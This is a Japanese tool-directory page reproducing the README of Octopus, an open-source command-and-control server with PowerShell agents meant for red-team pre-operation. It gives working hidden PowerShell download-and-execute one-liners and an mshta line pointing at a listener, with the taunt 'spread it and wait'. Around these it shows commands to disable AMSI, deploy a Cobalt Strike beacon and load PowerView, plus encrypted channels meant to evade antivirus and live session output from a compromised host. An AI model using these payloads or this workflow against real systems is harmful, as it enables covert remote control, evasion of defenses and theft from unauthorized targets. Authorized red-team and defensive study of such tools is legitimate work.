Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Octopus — PythonとPowerShellに基づくオープンソースの運用前C2サーバー | Kitploit
ツール/GitHubGitHub/mhaskar/octopus
暗号化/復号化ツールペイロード生成情報収集ペネトレーションテストコマンド&コントロールレッドチーミング
GitHubmhaskar/octopus

Octopus

PythonとPowerShellに基づくオープンソースの運用前C2サーバー

リポジトリを見る
7631555年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Octopus とは?

Octopus は、オープンソースのプレオペレーション C2 サーバーであり、Python ベースで、HTTP/S を介して Octopus PowerShell エージェントを制御できます。

Octopus の主な目的は、実際のレッドチーム作戦を開始する前に使用することです。フル装備の兵器庫とインフラを投入する代わりに、まず Octopus を使用してターゲットを攻撃し、情報を収集してから実際のレッドチーム作戦を開始できます。

Octopus は非常にシンプルな方法で動作し、完全に暗号化されたチャネルを介してコマンドを実行し、C2 と情報を交換します。そのため、ほとんどの AV、エンドポイント保護、ネットワーク監視ソリューションからは目立たず、検出されにくくなっています。

Octopus の優れた機能の 1 つは ESA (Endpoint Situational Awareness) です。これは、ターゲットに関する重要な情報を収集し、作戦中に直面するターゲットネットワークエンドポイントの理解を深めるのに役立ちます。これにより、この情報に基づいて実際の作戦をカスタマイズする機会が得られます。

Octopus は C2 との通信時にステルス性と隠密性を保つように設計されており、PowerShell エージェントと C2 サーバー間の暗号化チャネルにはデフォルトで AES-256 を使用します。また、ドメインの有効な証明書を提供し、Octopus C2 サーバーを設定して SSL/TLS を使用することもできます。

Octopus の主な機能

Octopus には、実際に完全な兵器庫やツール、テクニックを展開する前に、今後のエンゲージメントに関する洞察を得ることができるようにするための多くの機能が搭載されています。例:

  • HTTP/S を介したエージェントの制御。
  • システムコマンドの実行。
  • ファイルのダウンロード/アップロード。
  • 外部 PowerShell モジュールのロード。
  • C2 とエージェント間の暗号化チャネル(AES-256)の使用。
  • 目立たない手法を使用したコマンド実行と結果転送。
  • ターゲットごとのカスタムおよび複数リスナーの作成。
  • 異なるタイプのペイロードの生成。
  • PowerShell 2.0 以降のすべての Windows バージョンをサポート。
  • powershell.exe プロセスに触れずに Octopus Windows 実行可能エージェントを実行。
  • エンドポイントから自動的に情報を収集(エンドポイント状況認識)機能。

必要条件

Octopus のすべての要件は以下でインストールできます:

pip install -r requirements.txt

シェルコード機能とスプーフィング引数エージェントを使用するには、Linux 用の nasm と 'mingw-w64' コンパイラをインストールする必要があります。

Debian ベースのディストリビューションでは、以下を使用して nasm をインストールできます:

apt install nasm

また、Debian ベースのディストリビューションでは、以下を使用して mingw-w64 をインストールできます:

apt install mingw-w64

Octopus は次のオペレーティングシステムでテストされています:

  • Ubuntu (18.04)
  • Ubuntu (16.04)
  • Kali Linux (2019.2)

また、C# ソースを問題なくコンパイルできるようにするために、mono をインストールする必要があります。

Octopus は C# ソースをコンパイルするために mono-csc バイナリに依存しており、kali および ubuntu 16.04 でテスト済みの以下のコマンド apt install mono-devel でインストールできます。

mono をインストールしなくても Octopus を使用できますが、generate_exe コマンドは使用できません。

また、C# のコンパイルは、SHA1 ハッシュ a43ed886b68c6ee913da85df9ad2064f1d81c470 を持つ System.Management.Automation.dll アセンブリに依存することに注意してください。

Octopus の使用中に問題が発生した場合は、バグレポート を送信してください。

インストール

まず、以下のコマンドを使用して Octopus の最新バージョンをダウンロードしてください:

git clone https://github.com/mhaskar/Octopus/

次に、以下のコマンドを使用して要件をインストールする必要があります:

pip install -r requirements.txt

その後、以下のコマンドを実行して Octopus サーバーを起動できます:

./octopus.py

実行すると、次のような画面が表示されます:

root@kitploit:~
┌─[askar@hackbook]─[/opt/redteaming/Octopus]
└──╼ $python3 octopus.py



      ___           ___                       ___           ___         ___           ___
     /  /\         /  /\          ___        /  /\         /  /\       /__/\         /  /\
    /  /::\       /  /:/         /  /\      /  /::\       /  /::\      \  \:\       /  /:/_
   /  /:/\:\     /  /:/         /  /:/     /  /:/\:\     /  /:/\:\      \  \:\     /  /:/ /\
  /  /:/  \:\   /  /:/  ___    /  /:/     /  /:/  \:\   /  /:/~/:/  ___  \  \:\   /  /:/ /::\
 /__/:/ \__\:\ /__/:/  /  /\  /  /::\    /__/:/ \__\:\ /__/:/ /:/  /__/\  \__\:\ /__/:/ /:/\:\
 \  \:\ /  /:/ \  \:\ /  /:/ /__/:/\:\   \  \:\ /  /:/ \  \:\/:/   \  \:\ /  /:/ \  \:\/:/~/:/
  \  \:\  /:/   \  \:\  /:/  \__\/  \:\   \  \:\  /:/   \  \::/     \  \:\  /:/   \  \::/ /:/
   \  \:\/:/     \  \:\/:/        \  \:\   \  \:\/:/     \  \:\      \  \:\/:/     \__\/ /:/
    \  \::/       \  \::/          \__\/    \  \::/       \  \:\      \  \::/        /__/:/
     \__\/         \__\/                     \__\/         \__\/       \__\/         \__\/


                    v1.2 stable !


 Octopus C2 | Control your shells


Octopus >>

使用方法

Octopus は非常に簡単に使用できます。リスナーを起動し、そのリスナーの情報に基づいてエージェントを生成するだけです。

必要な数のリスナーを生成でき、それらに接続するエージェントとの対話を開始できます。

プロファイル設定

Octopus を使用する前に、URL 処理プロファイルを設定する必要があります。これにより C2 の動作と機能が制御されます。Octopus は HTTP ベースの C2 であるため、URL に依存して接続を処理し、URL が攻撃中のネットワーク内で署名や IoC として機能しないように保証します。URL は必要に応じて簡単にカスタマイズおよび名前変更できます。

現在、プロファイル設定は URL 処理、自動キル値、およびヘッダーのみをサポートしています。

プロファイルの設定

プロファイルの設定を開始するには、profile.py ファイルを編集する必要があります。このファイルには、いくつかの主要な変数が含まれています:

  • file_reciever_url: ファイルのダウンロードを処理します。
  • report_url: ESA レポートを処理します。
  • command_send_url: ターゲットに送信されるコマンドを処理します。
  • command_receiver_url: ターゲットで実行されるコマンドを処理します。
  • first_ping_url: ターゲットからの最初の接続を処理します。
  • server_response_header: すべての応答に表示されるヘッダーです。
  • auto_kill: C2 との接続が N 回失敗した後にエージェントが強制終了されるタイミングを制御する変数です。

例:

root@kitploit:~
#!/usr/bin/python3

# this is the web listener profile for Octopus C2
# you can customize your profile to handle a specific URLs to communicate with the agent
# TODO : add the ability to customize the request headers

# handling the file downloading
# Ex : /anything
# Ex : /anything.php
file_receiver_url = "/messages"


# handling the report generation
# Ex : /anything
# Ex : /anything.php
report_url = "/calls"

# command sending to agent (store the command will be executed on a host)
# leave <hostname> as it with the same format
# Ex : /profile/<hostname>
# Ex : /messages/<hostname>
# Ex : /bills/<hostname>
command_send_url = "/view/<hostname>"


# handling the executed command
# Ex : /anything
# Ex : /anything.php
command_receiver_url = "/bills"


# handling the first connection from the agent
# Ex : /anything
# Ex : /anything.php
first_ping_url = "/login"

# will return in every response as Server header
server_response_header = "nginx"

# will return white page that includes HTA script
mshta_url = "/hta"

# auto kill value after n tries

auto_kill = 10


エージェントとリスナーはこのプロファイルを使用して相互に通信するように設定されます。次に、リスナーを作成する方法を知る必要があります。

リスナー

Octopus には 2 つの主要なリスナー、「http リスナー」と「https リスナー」があり、2 つのリスナーのオプションはほぼ同一です。

HTTP リスナー:

listen_http コマンドは、起動時に次の引数を取ります:

  • BindIP リスナーが使用する IP アドレスを指定します。
  • BindPort リッスンするポートを指定します。
  • Hostname ペイロードのリクエストに使用されるホスト名。
  • Interval エージェントがコマンドを確認するまで待機する秒数。
  • URL ペイロードをホストするページの名前。
  • Listener_name 使用するリスナー名。

listen_http コマンドを実行すると、その例も表示されます:

root@kitploit:~
Octopus >>listen_http
[-] Please check listener arguments !
Syntax  : listen_http BindIP BindPort hostname interval URL listener_name
Example (with domain) : listen_http 0.0.0.0 8080 myc2.live 5 comments.php op1_listener
Example (without domain) : listen_http 0.0.0.0 8080 172.0.1.3 5 profile.php op1_listener

##########
Options info :

BindIP  		IP address that will be used by the listener
BindPort  		port you want to listen on
Hostname 		will be used to request the payload from
Interval 		how may seconds that agent will wait before check for commands
URL  			page name will hold the payload
Listener_name  	listener name to use

Octopus >>

次のコマンドを使用してリスナーを起動できます:

listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1

次の結果が返されます:

root@kitploit:~
Octopus >>listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
 * Environment: production
   WARNING: Do not use the development server in a production environment.
   Use a production WSGI server instead.
 * Debug mode: off

Octopus >>

リスナーが正常に起動されました。listeners コマンドを使用してすべてのリスナーを表示できます:

root@kitploit:~
Octopus >>listeners


Name        IP         Port  Host             Interval  Path      SSL
----------  -------  ------  -------------  ----------  --------  -----
operation1  0.0.0.0    8080  192.168.178.1           5  page.php  False


Octopus >>

HTTPS リスナー:

HTTPS リスナーを作成するには、次のように listen_https コマンドを使用できます:

root@kitploit:~
Octopus >>listen_https
[-] Please check listener arguments !
Syntax  : listen_https BindIP BindPort hostname interval URL listener_name certficate_path key_path
Example (with domain) : listen_https 0.0.0.0 443 myc2.live 5 login.php op1_listener certs/cert.pem certs/key.pem
Octopus >>listen_https 0.0.0.0 443 myc2.live 5 login.php darkside_operation certs/cert.pem certs/key.pem
SSL listener started !
[+]darkside_operation Listener has been created
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
 * Environment: production
   WARNING: Do not use the development server in a production environment.
   Use a production WSGI server instead.
 * Debug mode: off

Octopus >>

listen_https コマンドは、起動時に次の引数を取ります:

  • BindIP : リスナーが使用する IP アドレス
  • BindPort : リッスンするポート
  • Hostname : ペイロードのリクエストに使用されるホスト名
  • Interval : エージェントがコマンドを確認するまで待機する秒数
  • URL page : ペイロードを保持するページ名
  • Listener_name : 使用するリスナー名
  • certficate_path : 有効な SSL 証明書のパス(Letsencrypt 証明書の場合は fullchain.pem)
  • key_path : SSL 証明書の有効なキーのパス(Letsencrypt 証明書の場合は key.pem)

使用するドメインに関連付けられた有効な SSL 証明書を提供する必要があることに注意してください。

エージェントの生成

PowerShell ワンライナー

リスナー operation1 のエージェントを生成するには、次のコマンドを使用できます:

generate_powershell operation1

次の結果が得られます:

root@kitploit:~
Octopus >>generate_powershell operation1
#====================
1) powershell -w hidden "IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"

2) powershell -w hidden "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"

3) powershell -w hidden "$w = (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');Invoke-Expression $w;"

Note - For Windows 7 clients you may need to prefix the payload with "Add-Type -AssemblyName System.Core;"
       e.g. powershell -w hidden "Add-Type -AssemblyName System.Core;IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"

Hack your way in ;)
#====================

Octopus >>

このワンライナーを使用してエージェントを起動できます。

HTA ワンライナー

リスナー operation1 用の HTA ワンライナーを生成するには、次のコマンドを使用できます:

generate_hta operation1

次の結果が得られます:

root@kitploit:~
Octopus >>generate_hta operation1
#====================
mshta http://192.168.178.1:8080/hta
spread it and wait ;)
#====================
Octopus >>

profile.py を使用して /hta URL を編集できることに注意してください。

Octopus EXE エージェント

リスナー operation1 用の EXE エージェントを生成するには、次のコマンドを使用できます:

generate_unmanaged_exe operation1 /opt/Octopus/file.exe

次の結果が得られます:

root@kitploit:~
Octopus >>generate_unmanaged_exe darkside_operation2 /opt/Octopus/file.exe
[+] file compiled successfully !
[+] binary file saved to /opt/Octopus/file.exe
Octopus >>

C# ソースをコンパイルするには mono-csc をインストールする必要があることに注意してください。

Octopus スプーフィング引数エージェント

Adam Chester の優れた研究 に基づいて、スプーフィングされた引数で PowerShell プロセスを実行する新しい EXE エージェントを生成できます。

この exe を生成するには、次のコマンドを使用できます:

root@kitploit:~
Octopus >>generate_spoofed_args_exe
[-] Please select a listener and check your options !
Syntax :  generate_spoofed_args_exe listener_name output_path
Example : generate_spoofed_args_exe listener1 /opt/Octopus/file.exe
Octopus >>

x64 シェルコードと x86 シェルコードの生成

Octopus はバージョン 1.2 以降、x64 と x86 の両方のシェルコードを生成できます。生成されたシェルコードは CreateProcessA を使用して powershell.exe ワンライナーを起動し、PowerShell エージェントを起動します。

x64 シェルコードを生成するには、次のコマンドを使用できます:

root@kitploit:~
Octopus >>generate_x64_shellcode
[-] Please select a listener and check your options !
Syntax :  generate_x64_shellcode listener_name
Example : generate_x64_shellcode listener1
Octopus >>

x86 シェルコードを生成するには、次のコマンドを使用できます:

root@kitploit:~
Octopus >>generate_x86_shellcode
[-] Please select a listener and check your options !
Syntax :  generate_x86_shellcode listener_name
Example : generate_x86_shellcode listener1
Octopus >>

エージェントとの対話

まず、list コマンドを使用して接続されているすべてのエージェントを一覧表示できます。次の結果が得られます:

root@kitploit:~
Octopus >>list


  Session  IP            Hostname       PID  Username       Domain        Last ping                 OS
---------  ------------  -----------  -----  -------------  ------------  ------------------------  --------------------------------
        1  192.168.1.43  HR-PC-TYRMJ  10056  hr-pc\labuser  darkside.com  Tue Sep  3 10:22:07 2019  Microsoft Windows 10 Pro(64-bit)


Octopus >>

次に、interact コマンドを使用してホストと対話できます:

root@kitploit:~
Octopus >>list


  Session  IP            Hostname       PID  Username       Domain        Last ping                 OS
---------  ------------  -----------  -----  -------------  ------------  ------------------------  --------------------------------
        1  192.168.1.43  HR-PC-TYRMJ  10056  hr-pc\labuser  darkside.com  Tue Sep  3 10:22:07 2019  Microsoft Windows 10 Pro(64-bit)


Octopus >>interact 1
(HR-PC-TYRMJ) >>

help コマンドを使用して利用可能なすべてのコマンドを一覧表示できます:

root@kitploit:~
Octopus >>list


  Session  IP            Hostname       PID  Username       Domain        Last ping                 OS
---------  ------------  -----------  -----  -------------  ------------  ------------------------  --------------------------------
        1  192.168.1.43  HR-PC-TYRMJ  10056  hr-pc\labuser  darkside.com  Tue Sep  3 10:22:07 2019  Microsoft Windows 10 Pro(64-bit)


Octopus >>interact 1
(HR-PC-TYRMJ) >> help


Available commands to use :

Hint : if you want to execute system command just type it and wait for the results

+++++++++
help  				show this help menu
exit/back 			exit current session and back to the main screen
clear 				clear the screen output
download 			download file from the target machine
deploy_cobalt_beacon 		deploy cobalt strike powershell beacon in the current process
load 				load powershell module to the target machine
disable_amsi 			disable AMSI on the target machine
report 				get situation report from the target


(HR-PC-TYRMJ) >>

システムコマンドを直接実行するには、コマンドを直接入力し、リスナー作成時に設定したインターバルチェック時間に基づいて結果を待ちます。

root@kitploit:~
(HR-PC-TYRMJ) >> ipconfig
[+] Command sent , waiting for results
(HR-PC-TYRMJ) >>
Command execution result is :

Windows IP Configuration


Ethernet adapter Ethernet1:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : home
   Link-local IPv6 Address . . . . . : fe80::f85f:d52b:1d8d:cbae%10
   IPv4 Address. . . . . . . . . . . : 192.168.1.43
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.1.1

Ethernet adapter Ethernet:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Ethernet adapter Bluetooth Network Connection:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :



(HR-PC-TYRMJ) >>

この場合、コマンドは暗号化されてエージェントに送信され、クライアントはコマンドを復号化して実行します。エージェントは結果を暗号化し、C2 に送り返して復号化し、結果を表示します。

report コマンドを使用して ESA 情報を取得することもできます:

root@kitploit:~
(HR-PC-TYRMJ) >> report
[+] Command sent , waiting for results
(HR-PC-TYRMJ) >>
Endpoint situation awareness report for HR-PC-QNGAV

=============
Hostname : 	HR-PC-QNGAV
Domain : 	darkside.com
OS : 		Microsoft Windows 10 Pro(64-bit)
OS build : 	10.0.17134
OS arch : 	64-bit
AntiVirus : 	Symantec
SIEM solution : False
Internal interfaces/IPs :
	IP : 192.168.178.144
	IP : 172.12.1.20


Device language : en-US
Device uptime : 41.6386169797778 hours
Device local time : 21:55(09/09/2019)


(HR-PC-TYRMJ) >>

外部の PowerShell モジュールをロードするには、それを modules ディレクトリに配置し、load module.ps1 を実行します。

また、modules コマンドを実行して modules ディレクトリ内のすべてのモジュールを一覧表示できます:

root@kitploit:~
(HR-PC-TYRMJ) >> modules
PowerView.ps1
(HR-PC-TYRMJ) >> load PowerView.ps1
[+] Module should be loaded !
(HR-PC-TYRMJ) >>

Octopus の詳細

  • Octopus v1.0 stable: Cobalt Strike deployment & much more!

  • Unveiling Octopus: The pre-operation C2 for Red Teamers

クレジット

  • Ian Lyte - Octopus の複数のバグを報告し、強化された AMSI バイパスモジュールを提供してくれました。

  • Khlief - HTA モジュールを追加し、ダウンロード機能のバグを修正しました。

  • Moath Maharmah - 暗号化モジュールの強化と、今後のリリースに追加されるスタンドアロン C# Octopus エージェントの作成。

  • TeslaPulse - Octopus のテスト。

  • J005 - 強化された PowerShell ワンライナーの追加と HID 攻撃スクリプトの問題の修正。

ライセンス

このプロジェクトは GPL-3.0 ライセンスの下でライセンスされています。詳細については LICENSE ファイルを参照してください。

ツールをダウンロード